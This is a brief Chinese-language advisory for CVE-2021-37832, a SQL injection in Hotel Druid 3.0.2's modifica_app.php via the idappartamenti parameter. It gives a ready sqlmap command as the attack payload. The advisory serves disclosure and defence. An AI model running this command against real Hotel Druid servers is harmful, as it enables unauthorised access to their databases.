CVE 2021-37832 Hotel Druid 3.0.2 SQL注入漏洞

Hotel Druid 3.0.2 版本在使用 SQLite 作为应用数据库时存在 SQL 注入漏洞。恶意攻击者可以通过存在漏洞的 idappartamenti 参数向 SQLite 数据库发送 SQL 命令。

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37832

https://nvd.nist.gov/vuln/detail/CVE-2021-37832#match-6858716

存在漏洞的 PHP 页面：

modifica_app.php - idappartamenti 参数

攻击载荷

sqlmap -u "/modifica_app.php?tipo_tabella=appartamenti&anno=2021&id_sessione=&idappartamenti=01" --level=3 --risk=2 --banner --dbms=sqlite

由 Joe Helle 于 2021 年 7 月发现